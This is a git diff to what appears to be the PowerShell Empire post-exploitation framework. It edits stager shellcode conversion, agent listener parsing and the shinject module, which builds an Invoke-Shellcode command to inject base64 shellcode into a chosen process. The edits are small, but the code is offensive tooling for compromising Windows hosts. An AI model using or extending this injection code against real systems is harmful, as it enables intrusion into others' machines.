diff --git a/data/misc/x86_slim.dll b/data/misc/x86_slim.dll index 5b673ed..dcb5071 100755 Binary files a/data/misc/x86_slim.dll and b/data/misc/x86_slim.dll differ diff --git a/lib/common/empire.py b/lib/common/empire.py index 2caaf7e..7be5c44 100644 --- a/lib/common/empire.py +++ b/lib/common/empire.py @@ -2158,7 +2158,7 @@ class PowerShellAgentMenu(SubMenu): if line: if self.mainMenu.modules.modules['powershell/management/shinject']: module = self.mainMenu.modules.modules['powershell/management/shinject'] - listenerID = line.split(' ')[0].strip() + listenerID = line.split(' ')[0] arch = line.split(' ')[-1] module.options['Listener']['Value'] = listenerID module.options['Arch']['Value'] = arch diff --git a/lib/common/stagers.py b/lib/common/stagers.py index 8e985a6..4365fa8 100644 --- a/lib/common/stagers.py +++ b/lib/common/stagers.py @@ -159,7 +159,7 @@ class Stagers: flags = 0 flags |= 0x1 - sc = ConvertToShellcode(dllPatched, flags=flags) + sc = ConvertToShellcode(dllPatched) return sc diff --git a/lib/modules/powershell/management/shinject.py b/lib/modules/powershell/management/shinject.py index 2026e10..3b28755 100644 --- a/lib/modules/powershell/management/shinject.py +++ b/lib/modules/powershell/management/shinject.py @@ -147,6 +147,9 @@ class Module: # Add any arguments to the end execution of the script - script += "\n Invoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(procID, encoded_sc) + #t = iter(sc) + #pow_array = ',0x'.join(a+b for a,b in zip(t, t)) + #pow_array = "@(0x" + pow_array + " )" + script += "\nInvoke-Shellcode -ProcessID {} -Shellcode $([Convert]::FromBase64String(\"{}\")) -Force".format(procID, encoded_sc) script += scriptEnd return script